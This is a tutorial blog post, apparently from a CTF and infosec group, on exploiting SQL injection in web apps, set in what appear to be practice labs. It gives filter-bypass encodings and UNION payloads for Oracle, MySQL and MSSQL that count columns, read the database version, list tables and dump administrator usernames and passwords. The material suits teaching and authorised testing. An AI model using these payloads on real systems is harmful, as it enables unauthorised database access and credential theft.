CRASH COURSE FOR FINDING SQL INJECTION IN WEBAPPS:PART 3

Cyber Defecers
12 min readJan 13, 2021

BYPASSING THE FILTERS

In some situations, an application that is vulnerable to SQL injection may implement various input filters that prevent you from exploiting the flaw without restrictions. For example, the application may remove or sanitize certain characters or may block common SQL keywords. Filters of this kind are often vulnerable to bypasses, so you should try numerous tricks in this situation.

  • The single quotation mark is not required if you are injecting into a numeric data field or column name. If you need to introduce a string into your attack payload, you can do this without needing quotes. You can use
    various string functions to dynamically construct a string using the ASCII
    codes for individual characters. For example, the following two queries
    for Oracle and MS-SQL, respectively, are the equivalent of select ename,
    sal from emp where ename=’marcus’ :
    SELECT ename, sal FROM emp where ename=CHR(109)||CHR(97)||
    CHR(114)||CHR(99)||CHR(117)||CHR(115)
    SELECT ename, sal FROM emp WHERE ename=CHAR(109)+CHAR(97)
    +CHAR(114)+CHAR(99)+CHAR(117)+CHAR(115)
  • If the comment symbol is blocked, you can often craft your injected data
    such that it does not break the syntax of the surrounding query, even
    without using this. For example, instead of injecting:
    `or 1=1- -
    you can inject:
    ‘ or ‘a’=’a
  • When attempting to inject batched queries into an MS-SQL database,
    you do not need to use the semicolon separator. Provided that you fi x
    the syntax of all queries in the batch, the query parser will interpret them
    correctly, whether or not you include a semicolon.
  • Some input validation routines employ a simple blacklist and either block or remove any supplied data that appears on this list. In this instance, you should try the standard attacks, looking for common defects in validation and canonicalization mechanisms. For example, if the SELECT
    keyword is being blocked or removed, you can try the following bypasses:
    SeLeCt
    %00SELECT
    SELSELECTECT
    %53%45%4c%45%43%54
    %2553%2545%254c%2545%2543%2554

Examining the database in SQL injection attacks

Querying the database type and version:

Different databases provide different ways of querying their version. You often need to try out different queries to find one that works, allowing you to determine both the type and version of the database software.

Here the cheatsheet

Microsoft and MySQL:SELECT @@version

Oracle: SELECT * FROM v$version

PostgreSQL: SELECT version()

Again we will use union queries to retrieve data, I will show you how we can determine the type of database using above cheatsheet

we will be going to deal with an oracle database

On Oracle databases, every SELECT statement must specify a table to select FROM. If your UNION SELECT attack does not query from a table, you will still need to include the FROM keyword followed by a valid table name.

There is a built-in table on Oracle called DUAL which you can use for this purpose. For example: UNION SELECT 'abc' FROM DUAL

Here our web application

Now we will be attacking filter functionality with sql injection

Now since we will be using union based attack first approach is as you know to determine the number of columns using null technique.

Now here there is a catch we can’t use query just only like 'union select null,null-- because in Oracle every select query must be from a table so we will use built-in table called dual so our query becomes

'union select null,null from dual-- (Now I have not shown step by ste adding null characters to know no of columns because I already have briefly explained it in PART 2 of the series).

Here is the result of our query

since we got no error it means that there are two columns in the table.lets check which column support string data lets check our first column

'union select 'a',null from dual--

no error proves first column supports string data lets check our second column 'union select null,'a' from dual--

Again no error implies second column also supports string data now we can use any one of the column to get the version number of ORACLE database.

Now version string of ORCALE database stored in the built-in table called v$version so we will extract version string it from this table.It’s column name is also built-in its default name across all oracle databases is BANNER.so we can use query like these

'union select BANNER,null from v$version--

'union select null,BANNER from v$version--

We can see that we were able to extract version of the ORACLE DATABASE.

Now during a Bug bounty hunt if you find a sqli then after you determined the number of columns (techniques for detecting number of columns is irrespective of any database it is same for all but with slight modification for oracle as you saw we need to use a dual table with select statement) try to extract version string like just above if database returns the version number then database is ORACLE otherwise it will give you error which means database is not oracle so you can continue to look for other databases.By the way just even when trying to find columns using null methods you will come to know the database is ORACLE as you need to use dual table when enumerating no of columns if database is ORACLE.

Now let me show you what approaches we need to take if database is not ORACLE

Now here our web application

Now for MySQL and MSSQL the version extraction technique is same so this definetely reduces our load as we don’t need to test them separately

Now lets first determine the number of columns in table.

'union select null,null--+

It returns no error it means table has two columns now lets check which column support string data 'union select 'a',null--+

So first column supports string data lets check for the second 'union select null,'a'--+

Second column also supports string data so now we can extract database version string using built in variable @@version

we can use either of the two queries

'union select @@version,null--+

'union select null,@@version--+

see the version number 8.0.15

So we are succesful in determining the version number of the database.

So if you find out that during a bug bounty hunt that database is not oracle then try the above techniques for MYSQL and MSQL if yuo are successful in finding version number of database then the database is either MYSQL or MSQL.

Listing the contents of the database

Most database types (with the notable exception of Oracle) have a set of views called the information schema which provide information about the database.

You can query information_schema.tables to list the tables in the database:

SELECT * FROM information_schema.tables

This returns output like the following:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE

This output indicates that there are three tables, called Products, Users, and Feedback.

You can then query information_schema.columns to list the columns in individual tables:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

This returns output like the following:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar

This output shows the columns in the specified table and the data type of each column.

Now till now all of our excursions have been whitebox tests but now we will se e how we will approach a graybox scenario in which we all we know that database is not ORACLE.

We will attack webapp to get administrator credentials we don’t know the database name or names of tables inside it.

Here our webapp

Now we will put sqli payloads in filter functionality lets first determine the number of columns

'union select null,null--

Now lets check which column supports string data

'union select 'a',null--

first column supports string data lets check the second

'union select null,'a'--

second column also supports string data okay now we have two possibilites either the database is of type ,MySQl/MSSQL or postgresql.

We will first try for MySQL because of its popularity

We don’t know the table names also not column names too but we can use built-in variables to get the table and column name

As we have seen in case of ORACLE there is a built-in table called DUAL there is also a built-in table in MySQL called information_schema

we can get table name using variable table_name from information_schema tables

To do this query will be

'union select table_name,null from information_schema.tables--

We got hug amount of tables,the information_schema table stores all tables in the database but to gain administrative privileges we only need to know that table table which contains credentials.

Now here we need to be a detective looking at large amount of data to figure out his next investigation he don’t need all,a one particular find can move us ahead.

Now lets think like a developer every developer irrespective of how much he may be frustrated during development table containing credentials either must contain names like ‘creds’,’users’,’user_creds’ etc.

so lets search for user keyword in the haystack of data.

We have total 16 results okay this narrowed down very well lets see each

not looks promising
looks promising
not looks promising
both don’t look promising at all
not looks promising
not looks promising
not looks promising
looks promising
not looks promising at all
not looks promising at all
not looks promising
not looks promising
not looks promising
not looks promsing

Now only two out of 16 looks promising pg_users and user_wulktan

lets firs check pg_users

'union select column_name,null from information_schema.columns where table_name='pg-users'--

This is what we got in reply

Now lets check the second one that is user_wulktan

'union select column_name,null from information_schema.columns where table_name='user_wulktan'--

this is what we got

Looking at both the results of two different tables lets first check user_wulktan

so to extract query will be

'union select username_fdyygt,password_Iytzir from user_wulktan--

the reply is

we got administrator password lets login to administrator account

On Oracle, you can obtain the same information with slightly different queries.

You can list tables by querying all_tables:

SELECT * FROM all_tables

And you can list columns by querying all_tab_columns:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

Now I’m attaching all the enviroment varibales (built-in variables)list in various databases.

Lets look at our web app

lets check its filtering functionality try to perform a union sqli.Since We are attacking an Oracle database we need a table name to query from.Lets use inbuilt DUAL table.

union select 'a','b' from dual--

lets try to get table names from the database using the query

'union select table_name,null from all_tables--

list is very large so not showing all results

Since results are too much lets search for the term users since we are interested in application users credentials

We have 6 matches

Lets look at each of them

APP_USERS_AND_ROLES and USERS_NWYEJZ looks promising among these

Lets first look at APP_USERS_AND_ROLES

Our query will be

'UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='APP_USERS_AND_ROLES'--

It looks like this table store guid and roles of the users.But what we are interested in are passwords those are the real GEMS.

SO lets look our second promising table USERS_NWYEJZ

query will be

'UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_NWYEJZ'--

Okay it looks promising .We got something like username and password columns.Lets look inside them

Our query will be

'union select USERNAME_SVZYKA,PASSWORD_ZQDINS from USERS_NWYEJZ--

And here we got the usernames and their associated passwords .Now we can login as administrator with his credentials

So lets take our learning in next part of the blog

Written by

https://twitter.com/infosec_boy

--

--

Cyber Defecers

We are a group of passionate information security researchers and CTF players who likes to learn more about hacking.